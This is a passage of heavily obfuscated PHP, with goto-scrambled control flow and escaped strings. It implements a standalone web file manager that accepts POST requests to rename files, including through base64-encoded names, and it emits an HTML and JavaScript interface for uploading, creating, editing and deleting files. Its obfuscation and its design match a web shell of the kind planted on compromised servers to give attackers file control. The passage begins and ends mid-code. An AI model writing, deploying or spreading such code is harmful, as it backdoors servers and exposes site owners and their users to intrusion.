Exception("\x44\151\162\x65\143\164\157\x72\171\40\151\163\x20\x6e\157\x74\x20\167\162\x69\164\141\x62\x6c\145\x2e"); goto VJt8q; ksoiN: throw new Exception("\x43\x6f\165\x6c\x64\x20\x6e\x6f\164\40\162\145\156\x61\x6d\145\x20\x69\164\145\155\x2e\40\x43\x68\145\143\x6b\x20\x70\145\162\155\151\x73\x73\x69\x6f\x6e\x73\56"); goto cAnAo; iZSEa: if (rename($HmePZ, $T_iqG)) { goto K61IX; } goto ksoiN; HGNyO: $LPZ0f = isset($_POST["\x70\x61\164\x68"]) ? bodsd($_POST["\x70\141\164\150"]) : __DIR__; goto kCClA; WPy_X: clearstatcache(); goto dbnt0; QCg1f: K61IX: goto S3Kqt; UZn8u: b0xrW: goto LVhTC; LVhTC: if (is_writable(dirname($HmePZ))) { goto dwGHw; } goto DWk36; HXTuN: throw new Exception("\x49\x6e\166\141\154\x69\144\40\x64\141\x74\141\40\x66\x6f\x72\x20\x72\x65\156\x61\x6d\x69\x6e\x67\x2e"); goto WtmUo; LgvTU: $T_iqG = rtrim($LPZ0f, "\x2f") . "\x2f" . $OV6bp; goto WPy_X; WtmUo: mR7dW: goto w4iqq; dbnt0: if (file_exists($HmePZ)) { goto b0xrW; } goto FBe7K; FBe7K: throw new Exception("\x53\x6f\165\x72\x63\145\40\151\164\x65\155\x20\x64\x6f\145\x73\40\x6e\x6f\x74\40\x65\x78\x69\x73\x74\40\x61\x74\72\x20" . $HmePZ); goto UZn8u; cAnAo: goto MkORx; goto QCg1f; KJjKg: $OV6bp = isset($_POST["\156\x65\167\x5f\x6e\x61\155\x65"]) ? str_replace(["\56\x2e", "\57", "\x5c"], '', $_POST["\156\145\x77\x5f\156\141\155\145"]) : ''; goto pPERg; JP5UF: goto wk46_; goto uUI1T; VJt8q: dwGHw: goto iZSEa; kCClA: $P6hhO = isset($_POST["\x6f\x6c\x64\137\x6e\141\155\x65"]) ? $_POST["\157\x6c\144\137\156\x61\155\x65"] : ''; goto KJjKg; pPERg: if (!(!eHECx($LPZ0f) || empty($P6hhO) || empty($OV6bp))) { goto mR7dW; } goto HXTuN; w4iqq: $HmePZ = rtrim($LPZ0f, "\x2f") . "\x2f" . $P6hhO; goto LgvTU; tqhUQ: MkORx: goto JP5UF; uUI1T: case "\x72\x65\x6e\x61\x6d\x65\x5f\x62\x36\64": goto dWqIM; WEqWx: throw new Exception("\103\157\x75\x6c\144\40\156\x6f\164\x20\x70\145\162\146\x6f\162\155\x20\146\151\x6e\x61\x6c\40\162\145\156\141\155\145\x2e\x20\x4f\x72\x69\x67\151\156\141\x6c\40\x66\x69\x6c\145\x20\155\141\x79\x20\x62\x65\x20\x72\x65\163\x74\157\x72\x65\x64\56"); goto qAqcz; B_gi6: $P6hhO = base64_decode($WdkHN); goto UOMNq; cPHvj: $O5kCE = ["\163\x75\143\x63\x65\163\163" => true, "\x6d\145\163\x73\x61\147\145" => "\x49\x74\x65\155\x20\x72\x65\x6e\x61\x6d\x65\144\x20\163\x75\x63\143\145\163\x73\146\x75\x6c\154\x79\x20\165\163\151\x6e\x67\x20\142\x36\64\x20\x6d\145\164\x68\x6f\144\x2e"]; goto u7tYN; dWqIM: $LPZ0f = isset($_POST["\160\141\164\150"]) ? BODSD($_POST["\x70\141\x74\150"]) : __DIR__; goto ZYu3t; Qzzg_: ce7kr: goto IQwNK; tZmV3: if (copy($HmePZ, $PmUOv)) { goto lRRPb; } goto Rvojr; zpTLB: copy($PmUOv, $HmePZ); goto IoHCP; g6rdt: $T_iqG = rtrim($LPZ0f, "\57") . "\57" . $OV6bp; goto mxaDR; mxaDR: $PmUOv = $HmePZ . "\x2e\x74\x78\164"; goto tZmV3; IQwNK: $HmePZ = rtrim($LPZ0f, "\57") . "\x2f" . $P6hhO; goto g6rdt; UOMNq: $OV6bp = base64_decode($BgWmL); goto e2kKC; wwnbn: throw new Exception("\x49\x6e\x76\141\154\x69\x64\x20\144\141\164\141\x20\x66\x6f\x72\40\x72\145\x6e\141\155\x69\156\147\x2e"); goto Qzzg_; f7C3p: $BgWmL = isset($_POST["\156\145\167\x5f\x6e\x61\x6d\145\x5f\x62\66\64"]) ? $_POST["\x6e\145\167\137\x6e\141\x6d\x65\137\142\x36\x34"] : ''; goto B_gi6; IoHCP: unlink($PmUOv); goto WEqWx; k1c4B: u1PiA: goto cPHvj; NghIF: lRRPb: goto AB3Pm; Rvojr: throw new Exception("\103\157\165\154\x64\x20\156\x6f\164\40\143\162\x65\x61\x74\x65\40\164\145\155\x70\157\162\x61\162\171\40\x63\157\160\x79\56"); goto NghIF; LR5yj: throw new Exception("\103\x6f\x75\154\144\x20\x6e\157\x74\40\x64\145\154\x65\164\145\40\x6f\x72\x69\147\151\156\x61\154\x20\146\x69\x6c\145\56"); goto XrkqA; qAqcz: goto AWMvP; goto k1c4B; KTvCg: if (rename($PmUOv, $T_iqG)) { goto u1PiA; } goto zpTLB; rrGwp: goto wk46_; goto RNDpm; u7tYN: AWMvP: goto rrGwp; AB3Pm: if (unlink($HmePZ)) { goto dtCJ_; } goto obHYv; e2kKC: if (!(!EHecX($LPZ0f) || empty($P6hhO) || empty($OV6bp))) { goto ce7kr; } goto wwnbn; ZYu3t: $WdkHN = isset($_POST["\157\154\144\137\x6e\141\x6d\145\x5f\142\x36\x34"]) ? $_POST["\x6f\x6c\x64\x5f\x6e\x61\155\x65\137\x62\66\64"] : ''; goto f7C3p; XrkqA: dtCJ_: goto KTvCg; obHYv: unlink($PmUOv); goto LR5yj; RNDpm: } goto WEpkl; WEpkl: NtW1u: goto oXX_k; zwvSg: } catch (Exception $vp5SA) { $O5kCE = ["\163\x75\x63\x63\x65\163\163" => false, "\x6d\x65\163\x73\x61\147\x65" => $vp5SA->getMessage()]; } goto bJ2U5; bJ2U5: echo json_encode($O5kCE); goto xlR3s; tfuii: function ioRKW($vXRGp) { goto S0rQi; kskXZ: return $vXRGp; goto Z_gnS; x6jdf: $vXRGp = str_replace($SHuCr, '', $vXRGp); goto i4228; i4228: $vXRGp = trim($vXRGp); goto i1lVt; S0rQi: $SHuCr = ["\42", "\47", "\x26", "\57", "\x5c", "\x3f", "\43", "\x3c", "\76", "\174", "\72", "\x2a"]; goto x6jdf; i1lVt: $vXRGp = preg_replace("\57\134\163\53\57", "\137", $vXRGp); goto kskXZ; Z_gnS: } goto uJurW; OGFG5: DfhVs: goto Dm6xU; pIPEo: function Mz1Tq($LPZ0f) { return str_replace("\x5c", "\x2f", $LPZ0f); } goto tfuii; TCQDx: function EheCX($LPZ0f) { return realpath($LPZ0f) !== false || is_dir(dirname($LPZ0f)); } goto Hpfks; Dm6xU: echo "\74\41\x44\117\103\x54\x59\x50\105\40\150\x74\155\154\76\xa\x3c\150\164\155\x6c\x20\x6c\141\156\147\x3d\42\145\156\x22\76\12\74\x68\145\x61\144\x3e\12\40\x20\x20\x20\x3c\x6d\145\164\141\x20\x63\x68\x61\162\x73\x65\164\75\x22\x55\124\x46\x2d\x38\42\76\74\164\151\x74\154\145\x3e\106\151\x6c\145\x20\x4d\141\x6e\141\147\145\162\74\57\164\151\x74\154\145\x3e\x3c\155\145\164\141\40\x6e\141\155\145\75\x22\166\151\x65\x77\x70\x6f\x72\164\42\40\x63\x6f\x6e\x74\145\156\x74\x3d\42\167\x69\x64\x74\150\75\144\145\166\x69\x63\x65\x2d\x77\x69\x64\164\150\54\x20\151\156\x69\164\x69\141\154\x2d\x73\x63\x61\154\145\75\x31\x2e\x30\x22\x3e\xa\x20\40\x20\40\74\x73\164\171\x6c\x65\x3e\12\x20\40\x20\40\x20\40\x20\x20\72\162\157\x6f\x74\x7b\x2d\x2d\141\143\143\145\x6e\x74\55\x63\x6f\x6c\x6f\162\72\43\62\x32\67\61\142\x31\73\x2d\x2d\x68\157\x76\x65\162\x2d\143\157\154\157\162\x3a\x23\x31\x65\x36\x35\x39\144\x3b\x2d\55\144\141\x6e\x67\145\162\55\x63\x6f\154\157\162\72\43\144\66\63\x36\x33\70\73\175\xa\40\x20\x20\x20\40\40\x20\x20\142\x6f\x64\171\x7b\x66\x6f\156\164\55\146\141\155\151\x6c\x79\x3a\x2d\x61\x70\160\x6c\x65\x2d\x73\171\163\164\x65\155\x2c\x42\154\x69\x6e\x6b\x4d\141\143\123\171\x73\x74\x65\155\106\157\156\164\x2c\x22\123\x65\x67\157\x65\40\125\111\42\54\x52\x6f\142\157\x74\x6f\x2c\x4f\170\171\147\x65\x6e\55\x53\x61\x6e\163\54\125\x62\165\x6e\164\165\x2c\x43\141\x6e\x74\141\162\145\154\x6c\54\x22\110\145\x6c\x76\x65\x74\x69\143\141\x20\116\x65\x75\x65\x22\x2c\163\141\156\x73\x2d\163\x65\162\x69\x66\73\142\x61\x63\153\147\162\157\x75\x6e\144\x3a\43\146\60\146\x30\146\x31\73\x6d\x61\162\x67\x69\x6e\72\60\73\x7d\12\40\x20\x20\x20\40\40\40\x20\x2e\x63\x6f\x6e\x74\x61\x69\x6e\145\x72\173\144\151\x73\x70\154\141\x79\72\146\x6c\145\x78\73\x66\154\x65\170\55\144\151\162\145\143\164\151\x6f\156\x3a\143\157\154\165\155\156\x3b\150\145\x69\147\x68\x74\72\61\x30\60\x76\x68\73\x7d\x68\x65\x61\x64\145\162\173\x62\x61\143\153\x67\162\157\x75\x6e\x64\72\43\x66\146\146\x3b\x70\x61\144\144\151\156\x67\72\61\x30\x70\x78\x20\x32\60\160\x78\73\x62\x6f\x72\x64\x65\x72\x2d\x62\x6f\x74\x74\157\155\x3a\x31\160\170\x20\x73\x6f\154\151\x64\x20\x23\144\x64\144\x3b\144\151\x73\x70\154\141\171\x3a\x66\154\x65\170\x3b\152\165\x73\164\x69\146\171\55\143\157\156\x74\x65\156\164\72\163\160\x61\x63\145\x2d\142\145\164\x77\x65\x65\x6e\x3b\x61\x6c\x69\147\x6e\55\151\x74\x65\155\x73\x3a\143\145\x6e\x74\x65\x72\73\x66\x6c\x65\170\55\163\150\x72\151\x6e\x6b\x3a\x30\x3b\175\155\141\151\x6e\173\x66\154\145\x78\55\x67\162\157\167\x3a\61\x3b\160\x61\x64\x64\x69\x6e\147\72\x32\x30\x70\170\73\x6f\166\145\x72\x66\x6c\x6f\x77\55\171\x3a\x61\x75\164\157\x3b\175\56\x74\x6f\157\x6c\x62\141\x72\x7b\x6d\x61\x72\147\x69\x6e\x2d\x62\x6f\164\x74\x6f\155\72\x31\65\x70\x78\x3b\144\151\x73\160\154\x61\x79\x3a\x66\154\145\x78\73\146\154\x65\170\x2d\167\x72\x61\160\72\167\x72\x61\160\73\x67\x61\160\x3a\x31\60\x70\170\x3b\x61\154\x69\x67\x6e\55\151\x74\145\x6d\163\x3a\143\145\x6e\164\x65\162\x3b\x7d\56\160\x61\164\x68\55\142\141\162\x7b\x62\141\x63\x6b\x67\162\157\x75\156\x64\x3a\43\146\146\146\73\160\x61\144\144\151\156\147\72\70\160\x78\x20\61\x32\x70\170\73\x62\157\x72\144\145\162\x2d\162\141\144\151\x75\163\x3a\64\x70\170\73\x62\157\x72\144\145\x72\72\x31\x70\x78\x20\x73\x6f\154\x69\144\40\43\144\144\144\73\x66\157\156\164\x2d\146\x61\155\151\x6c\x79\72\x6d\x6f\156\x6f\x73\x70\x61\x63\x65\x3b\146\154\x65\x78\55\x67\162\157\167\72\61\73\x77\x6f\162\144\55\142\x72\145\x61\x6b\x3a\142\x72\145\141\x6b\x2d\x61\x6c\x6c\x3b\175\56\x66\151\154\145\x2d\164\x61\142\154\x65\x7b\x77\151\144\x74\150\x3a\x31\x30\x30\x25\x3b\142\x6f\162\144\x65\162\55\x63\x6f\154\154\x61\160\x73\x65\72\143\157\154\x6c\x61\160\163\x65\x3b\142\141\143\x6b\147\x72\157\x75\156\x64\x3a\x23\146\146\146\73\164\x61\x62\x6c\145\x2d\154\x61\x79\x6f\165\164\x3a\146\x69\170\145\144\x3b\175\x2e\x66\x69\x6c\x65\x2d\x74\141\142\x6c\x65\40\x74\x68\x2c\x2e\146\151\154\145\x2d\x74\141\142\x6c\x65\40\x74\x64\x7b\x74\x65\170\x74\55\141\154\151\x67\x6e\72\154\145\x66\164\73\x62\x6f\162\144\x65\162\x2d\x62\157\x74\164\157\155\72\x31\x70\x78\40\163\157\154\151\x64\40\43\145\145\x65\73\x76\x65\x72\x74\151\x63\x61\154\55\x61\x6c\x69\147\156\x3a\x6d\151\x64\144\x6c\145\x3b\x77\157\162\x64\x2d\x77\162\141\x70\72\x62\162\x65\141\153\55\x77\x6f\162\x64\73\x7d\56\x66\x69\154\145\55\x74\x61\142\x6c\145\x20\164\x68\x7b\142\x61\143\x6b\147\x72\157\165\156\144\x3a\43\146\71\x66\x39\146\71\x3b\x70\x61\144\144\x69\x6e\x67\72\x31\x32\160\170\40\x38\160\170\73\x7d\56\x66\151\x6c\145\55\164\x61\142\154\x65\40\164\x72\72\x68\x6f\166\x65\162\173\142\141\143\153\147\x72\157\165\x6e\x64\72\43\146\x30\146\70\x66\146\73\175\x2e\146\151\154\x65\55\164\141\x62\154\x65\x20\x74\x68\x3a\x6e\164\150\x2d\x63\x68\151\x6c\x64\x28\61\51\x2c\x2e\146\151\154\x65\x2d\x74\x61\142\x6c\x65\x20\x74\144\72\156\164\x68\55\x63\x68\151\154\144\50\61\51\173\167\151\x64\x74\x68\x3a\x34\60\x70\x78\x3b\x70\x61\x64\x64\x69\x6e\147\x3a\x31\x32\160\x78\40\x34\x70\x78\40\x31\x32\x70\170\x20\x31\62\x70\170\x3b\x74\x65\170\x74\x2d\141\x6c\x69\x67\x6e\72\143\145\x6e\164\x65\x72\73\x7d\56\146\x69\154\x65\55\x74\x61\x62\154\145\x20\164\150\72\156\x74\150\x2d\143\x68\151\x6c\144\50\62\51\x2c\x2e\146\x69\x6c\145\55\164\141\142\x6c\145\40\164\x64\x3a\156\164\150\55\143\x68\x69\x6c\144\50\62\x29\x7b\x77\151\144\164\150\72\65\x30\x25\73\x70\x61\144\144\151\x6e\x67\55\x6c\x65\146\x74\72\64\160\170\x3b\175\56\146\151\x6c\x65\x2d\164\141\x62\154\145\x20\164\x68\x3a\x6e\164\150\55\143\x68\x69\x6c\144\50\63\x29\x2c\56\146\151\x6c\x65\x2d\164\141\142\x6c\x65\40\164\x64\x3a\x6e\164\150\x2d\143\150\x69\x6c\x64\x28\x33\x29\173\x77\151\x64\x74\150\x3a\x31\x32\60\x70\170\73\175\56\x66\151\x6c\145\55\x74\x61\x62\154\145\x20\x74\x68\72\x6e\x74\150\55\x63\x68\x69\x6c\x64\x28\64\51\54\56\x66\x69\x6c\145\55\x74\141\142\x6c\x65\40\x74\x64\72\156\164\150\55\143\x68\151\x6c\144\50\x34\x29\173\167\151\144\x74\x68\x3a\61\65\60\x70\x78\x3b\x7d\56\x66\x69\154\145\x2d\x74\141\142\x6c\x65\x20\x74\150\x3a\156\x74\150\x2d\x63\x68\151\154\x64\50\x35\x29\173\164\x65\x78\164\x2d\x61\154\x69\x67\156\x3a\x72\x69\x67\150\164\x3b\x70\141\144\x64\x69\x6e\x67\x2d\162\x69\147\150\x74\72\x31\62\x70\170\73\x7d\56\141\143\164\151\157\x6e\163\173\144\x69\x73\x70\x6c\x61\171\72\x66\x6c\x65\x78\x3b\152\x75\x73\x74\x69\146\x79\x2d\143\157\156\x74\145\x6e\x74\x3a\x66\x6c\145\x78\55\145\156\x64\73\147\x61\x70\72\65\x70\x78\x3b\x7d\56\x69\164\x65\155\x2d\154\x69\x6e\153\x2c\x61\56\x69\164\x65\x6d\55\154\x69\x6e\153\173\164\x65\170\164\55\x64\x65\x63\157\162\141\x74\x69\x6f\x6e\72\156\x6f\156\145\41\151\x6d\160\157\162\x74\x61\156\x74\x3b\143\157\x6c\x6f\162\72\166\x61\x72\x28\x2d\55\141\143\143\145\156\x74\55\x63\x6f\x6c\x6f\162\x29\x3b\x63\x75\x72\163\x6f\x72\x3a\160\x6f\151\x6e\x74\145\x72\73\175\x2e\151\x74\x65\x6d\55\x6c\151\x6e\153\x3a\x68\157\x76\x65\x72\x2c\x61\x2e\151\164\145\x6d\x2d\154\x69\156\x6b\x3a\150\157\166\145\x72\x7b\143\157\x6c\x6f\x72\x3a\166\x61\x72\x28\55\55\x68\157\166\145\x72\x2d\143\x6f\154\157\162\x29\x3b\x7d\164\x72\133\144\141\164\x61\55\x70\x61\164\150\135\173\x63\x75\162\x73\x6f\x72\72\160\x6f\151\x6e\164\x65\x72\73\175\x2e\142\165\164\164\x6f\156\x7b\x62\141\143\153\147\162\x6f\165\x6e\144\x3a\166\141\x72\50\55\55\x61\x63\143\x65\156\164\x2d\x63\157\154\157\x72\51\x3b\x63\x6f\x6c\157\x72\x3a\x77\150\x69\164\145\x3b\x62\x6f\162\x64\x65\x72\72\156\157\x6e\x65\73\160\141\144\144\x69\156\147\72\x38\160\x78\x20\61\x32\160\x78\73\142\157\x72\x64\x65\162\x2d\162\x61\x64\x69\x75\163\x3a\x33\x70\x78\73\143\x75\x72\163\157\162\x3a\160\x6f\x69\156\x74\x65\162\73\146\157\x6e\164\x2d\x73\x69\172\x65\72\61\x34\160\x78\73\175\56\x62\165\x74\164\x6f\x6e\56\x64\x61\x6e\147\x65\x72\173\142\x61\143\x6b\147\x72\157\x75\156\144\x3a\166\x61\x72\50\55\x2d\x64\141\x6e\x67\145\162\55\143\x6f\154\157\x72\51\73\x7d\43\x73\160\151\156\x6e\x65\x72\x7b\x64\151\x73\x70\154\141\171\x3a\156\157\156\x65\73\175\56\x6d\x6f\144\141\154\x2d\157\166\x65\162\154\141\x79\x7b\144\x69\163\160\x6c\x61\171\x3a\x6e\x6f\x6e\145\73\160\157\163\x69\164\151\157\x6e\72\x66\x69\170\145\144\x3b\x74\157\x70\x3a\60\x3b\154\x65\146\164\72\x30\73\167\151\144\164\150\x3a\61\60\x30\45\x3b\150\x65\151\x67\150\x74\72\x31\x30\x30\x25\73\x62\x61\143\x6b\147\162\x6f\x75\156\144\x3a\162\x67\x62\141\50\60\54\60\54\x30\x2c\x30\x2e\x36\51\x3b\x7a\x2d\x69\156\144\x65\x78\x3a\61\x30\x30\x30\73\x6a\x75\x73\x74\151\x66\x79\x2d\143\157\156\x74\x65\156\x74\x3a\143\x65\156\x74\x65\x72\73\x61\154\x69\x67\x6e\x2d\151\x74\x65\155\163\x3a\x63\145\156\x74\145\162\73\x7d\56\155\x6f\144\141\x6c\x2d\143\157\156\x74\145\156\x74\x7b\144\151\x73\160\154\x61\171\72\146\154\x65\170\73\146\x6c\x65\170\55\x64\151\162\x65\143\164\151\x6f\156\72\x63\157\154\165\155\156\x3b\142\141\143\x6b\x67\x72\157\165\x6e\144\72\43\146\x66\146\x3b\x70\141\144\x64\x69\156\147\x3a\x32\60\x70\170\73\x62\157\162\144\x65\162\55\162\141\144\151\x75\163\x3a\x35\160\x78\73\167\x69\x64\164\150\x3a\x38\60\x25\x3b\x68\x65\151\x67\150\164\72\70\x30\45\x3b\155\141\x78\55\167\151\144\164\x68\72\71\x30\x30\160\x78\x3b\142\x6f\170\55\163\x68\x61\x64\x6f\167\x3a\60\x20\x35\x70\170\x20\x31\x35\x70\x78\40\162\x67\x62\x61\x28\60\x2c\60\x2c\60\x2c\x30\56\x33\51\x3b\175\x74\x65\170\x74\x61\x72\x65\141\x23\145\144\x69\164\x6f\x72\173\x66\x6c\145\170\x2d\147\x72\x6f\167\x3a\61\73\146\x6f\156\164\55\146\x61\155\151\x6c\171\x3a\155\x6f\156\157\x73\x70\x61\143\x65\x3b\146\157\156\164\x2d\163\x69\172\x65\72\61\x34\x70\x78\x3b\x62\x6f\162\x64\145\162\72\x31\160\170\40\163\x6f\x6c\x69\x64\40\x23\x64\144\144\x3b\160\x61\x64\x64\151\156\147\x3a\61\x30\x70\170\73\x7d\12\x20\x20\40\40\74\x2f\x73\164\x79\x6c\145\x3e\12\74\57\150\145\141\144\76\12\x3c\x62\157\x64\171\x3e\xa\x20\x20\x20\40\x3c\x64\x69\x76\x20\143\154\141\163\x73\x3d\x22\143\x6f\x6e\x74\141\151\156\x65\162\x22\x3e\xa\40\x20\x20\40\x20\40\40\40\x3c\150\x65\x61\144\x65\x72\x3e\x3c\150\x33\76\106\x69\x6c\x65\40\115\x61\x6e\x61\147\x65\x72\40\x28\x53\x74\141\x6e\144\141\x6c\x6f\x6e\145\51\x3c\x2f\150\63\x3e\74\57\150\145\x61\x64\x65\162\76\xa\40\x20\40\x20\x20\40\40\40\74\x6d\141\151\x6e\76\12\x20\40\40\40\x20\40\40\40\x20\x20\40\40\74\144\x69\x76\x20\x63\x6c\141\163\x73\x3d\x22\x74\157\x6f\154\142\141\x72\42\x3e\x3c\142\165\x74\x74\x6f\x6e\x20\143\154\141\x73\x73\75\42\142\x75\x74\x74\x6f\x6e\42\40\151\x64\75\x22\165\160\x6c\157\x61\x64\102\164\156\42\x3e\xc3\203\302\xa2\303\x82\xc2\xac\303\202\302\206\303\203\xc2\257\303\202\302\270\xc3\202\302\x8f\40\125\160\x6c\157\x61\x64\74\x2f\142\x75\x74\x74\x6f\156\76\x3c\x62\x75\x74\x74\157\x6e\x20\143\154\141\163\163\x3d\x22\142\x75\x74\164\157\156\x22\x20\x69\144\75\x22\x6e\x65\x77\x46\151\x6c\x65\102\164\x6e\42\x3e\303\203\302\260\303\202\xc2\237\303\202\302\x93\xc3\x82\xc2\x84\x20\x4e\x65\x77\40\x46\x69\154\x65\74\x2f\142\x75\x74\164\x6f\x6e\x3e\x3c\x62\x75\164\x74\157\156\x20\x63\154\x61\x73\163\75\42\x62\165\164\164\157\156\x22\40\151\x64\x3d\x22\156\x65\x77\x46\157\x6c\x64\x65\162\x42\x74\x6e\42\76\303\x83\302\xa2\303\202\302\236\xc3\x82\xc2\x95\40\116\145\167\x20\x46\157\x6c\144\x65\162\x3c\57\142\x75\x74\164\157\x6e\76\x3c\142\x75\x74\x74\x6f\156\x20\x63\154\x61\x73\163\75\x22\142\165\x74\x74\157\156\40\144\x61\156\x67\145\162\x22\x20\151\x64\x3d\42\x64\x65\x6c\x65\x74\x65\x42\x74\156\x22\76\xc3\x83\302\xb0\303\x82\302\237\xc3\202\xc2\x97\303\x82\xc2\x91\xc3\x83\xc2\xaf\xc3\x82\302\270\xc3\x82\xc2\x8f\x20\104\x65\154\145\164\145\x20\x53\x65\x6c\x65\x63\164\145\x64\x3c\x2f\142\165\164\164\x6f\x6e\x3e\74\x64\x69\x76\40\x69\x64\75\42\163\x70\151\x6e\156\x65\162\x22\x3e\303\203\302\260\xc3\x82\302\x9f\303\x82\302\225\303\202\xc2\x92\x3c\x2f\144\x69\166\76\x3c\57\144\151\x76\x3e\12\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x3c\144\151\166\x20\x63\154\x61\x73\163\x3d\42\x74\x6f\x6f\154\142\141\162\42\x3e\74\x64\x69\166\x20\143\154\141\x73\x73\x3d\42\x70\x61\164\150\55\x62\x61\x72\x22\40\x69\144\75\42\x70\141\164\150\102\141\x72\x22\x3e\57\74\x2f\x64\151\166\76\74\57\144\151\x76\x3e\xa\40\40\x20\x20\40\40\40\x20\40\40\40\40\x3c\x74\x61\x62\x6c\145\40\x63\x6c\141\x73\x73\75\42\x66\x69\x6c\x65\55\164\x61\x62\154\x65\42\76\x3c\164\150\x65\141\144\76\74\x74\162\76\74\x74\150\x3e\74\151\x6e\160\165\164\40\164\171\160\145\75\42\143\x68\145\143\x6b\x62\x6f\170\42\40\x69\x64\x3d\42\163\145\x6c\145\143\164\x41\154\154\42\76\74\57\164\x68\76\74\164\150\76\116\141\155\x65\x3c\x2f\x74\150\76\x3c\x74\150\x3e\123\151\x7a\x65\74\57\x74\x68\76\74\x74\x68\76\x4d\x6f\x64\151\x66\x69\145\x64\x3c\x2f\x74\150\76\74\x74\x68\76\x41\143\164\x69\x6f\156\163\x3c\57\164\150\x3e\74\57\x74\162\76\74\57\164\150\x65\141\x64\x3e\74\164\x62\157\144\x79\x20\x69\x64\75\x22\146\x69\x6c\145\x4c\x69\x73\164\x22\x3e\74\57\164\142\x6f\144\x79\76\74\x2f\164\141\142\x6c\x65\x3e\12\40\x20\x20\40\40\x20\x20\40\x3c\x2f\155\141\x69\156\76\xa\x20\40\40\x20\74\x2f\x64\151\166\76\12\x20\40\x20\40\x3c\x64\x69\x76\40\151\x64\75\42\x65\x64\x69\164\157\x72\x4d\157\144\x61\x6c\42\40\x63\154\x61\x73\163\x3d\x22\155\157\x64\x61\x6c\55\x6f\166\x65\162\x6c\x61\171\x22\x3e\x3c\x64\x69\x76\40\143\x6c\x61\163\x73\75\42\155\157\144\x61\x6c\x2d\143\x6f\x6e\164\x65\156\x74\x22\x3e\74\x68\63\x20\151\x64\x3d\x22\145\x64\151\164\x6f\x72\106\151\x6c\x65\x6e\x61\155\x65\42\x20\x73\164\x79\x6c\x65\75\x22\155\x61\x72\x67\151\x6e\x2d\x74\x6f\160\72\60\73\42\76\x3c\x2f\x68\63\x3e\x3c\164\145\x78\164\141\162\x65\141\40\x69\x64\x3d\x22\145\x64\x69\164\x6f\x72\x22\x20\x73\160\145\x6c\154\143\x68\145\x63\x6b\75\x22\x66\141\x6c\163\x65\42\76\74\57\164\145\170\164\x61\x72\145\x61\x3e\x3c\144\x69\166\x20\x73\x74\x79\154\x65\x3d\42\155\141\x72\147\151\156\55\x74\157\160\x3a\x31\60\x70\x78\x3b\42\x3e\x3c\142\x75\x74\x74\x6f\x6e\x20\x63\x6c\x61\x73\x73\x3d\x22\x62\165\x74\x74\x6f\x6e\42\40\151\144\75\x22\163\141\166\145\102\164\x6e\x22\x3e\xc3\203\302\xb0\303\x82\302\237\303\202\302\x92\xc3\x82\302\276\x20\x53\141\x76\x65\40\103\150\x61\156\x67\x65\163\x3c\57\142\x75\164\x74\x6f\x6e\76\x3c\142\x75\164\164\157\156\x20\x63\154\x61\163\163\x3d\x22\x62\165\164\x74\x6f\x6e\x22\40\x6f\156\143\x6c\x69\143\x6b\x3d\42\144\x6f\x63\165\155\x65\x6e\x74\56\147\x65\164\x45\154\145\x6d\x65\156\164\x42\x79\x49\144\50\47\x65\x64\x69\164\x6f\x72\x4d\x6f\x64\141\154\47\51\x2e\x73\x74\171\x6c\145\x2e\144\x69\x73\160\x6c\x61\171\x3d\x27\156\x6f\x6e\x65\x27\x22\x3e\103\154\x6f\163\x65\74\x2f\x62\165\x74\x74\157\x6e\x3e\x3c\57\x64\x69\166\x3e\74\57\x64\151\x76\76\74\x2f\x64\151\x76\76\12\x20\40\40\40\74\151\156\x70\x75\x74\40\164\x79\x70\145\x3d\x22\x66\151\154\145\42\x20\151\x64\75\42\150\x69\x64\144\145\156\x46\151\x6c\145\x49\156\160\x75\x74\x22\40\x6d\x75\154\164\151\x70\x6c\145\40\x73\164\x79\154\145\75\x22\144\151\163\160\x6c\x61\x79\x3a\156\157\156\x65\x3b\42\76\12\x20\40\40\x20\x3c\163\x63\162\151\x70\x74\76\12\x20\40\x20\40\144\157\x63\x75\155\145\156\164\x2e\141\x64\144\105\166\145\156\164\x4c\151\163\164\x65\x6e\145\x72\50\x27\x44\117\x4d\103\157\156\164\145\x6e\x74\x4c\x6f\x61\x64\x65\144\47\x2c\x20\50\51\40\x3d\x3e\40\x7b\xa\40\x20\40\40\40\x20\40\40\143\157\x6e\x73\x74\x20\x53\x54\x41\x54\105\40\x3d\x20\173\40\x63\165\x72\162\x65\156\164\120\x61\x74\x68\72\x20\47"; goto V52qC; ujOxh: echo "\x27\x2c\40\x7b\x20\155\145\x74\x68\x6f\144\72\x20\47\120\x4f\123\124\x27\54\x20\x62\157\x64\171\72\x20\x66\157\x72\x6d\104\x61\x74\141\40\x7d\x29\x3b\x20\x63\157\x6e\163\x74\x20\x72\x65\163\165\x6c\x74\40\x3d\40\141\167\141\x69\x74\40\162\x65\163\x70\x6f\x6e\163\145\x2e\152\163\157\156\x28\51\73\40\x69\x66\40\x28\x21\162\x65\163\x75\154\164\56\163\x75\143\143\145\x73\163\51\x20\164\150\162\x6f\x77\40\156\145\167\x20\x45\x72\x72\157\x72\x28\x72\145\x73\x75\154\164\56\x6d\145\163\x73\x61\x67\145\51\73\x20\151\146\40\50\163\x68\x6f\167\123\x75\143\143\x65\163\x73\40\x26\x26\x20\162\x65\x73\x75\x6c\x74\56\155\145\163\x73\x61\x67\145\x29\x20\x61\x6c\x65\x72\164\x28\162\x65\x73\165\154\164\56\x6d\145\x73\x73\141\x67\x65\51\73\x20\x72\x65\164\165\x72\x6e\40\x72\145\x73\165\154\164\x3b\12\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x7d\40\x63\141\x74\x63\150\40\50\145\x72\x72\157\162\x29\40\x7b\40\x61\154\145\x72\164\x28\x60\105\162\x72\157\162\x3a\x20\x24\x7b\x65\162\162\x6f\162\56\155\145\163\x73\x61\x67\x65\x7d\x60\51\x3b\40\x63\157\x6e\163\157\154\145\x2e\x65\x72\x72\157\x72\x28\x22\x46\x75\x6c\x6c\40\x72\145\163\160\157\156\163\x65\72\42\54\x20\145\162\162\157\x72\x2e\162\x65\x73\160\x6f\x6e\163\x65\x29\73\40\x72\x65\164\165\162\x6e\40\x6e\x75\x6c\x6c\73\x20\175\40\146\x69\156\x61\x6c\x6c\171\x20\173\40\x64\x6f\x6d\x2e\163\160\x69\x6e\x6e\145\x72\56\163\164\x79\154\145\x2e\144\151\x73\160\x6c\141\x79\x3d\47\x6e\157\156\145\x27\73\40\x7d\xa\x20\x20\x20\x20\x20\x20\x20\40\175\12\40\40\x20\40\40\x20\40\x20\146\x75\x6e\143\x74\151\x6f\156\x20\x72\145\x6e\x64\x65\162\x28\51\x20\x7b\12\x20\40\40\40\40\40\x20\x20\40\40\40\40\x63\157\156\163\x74\40\146\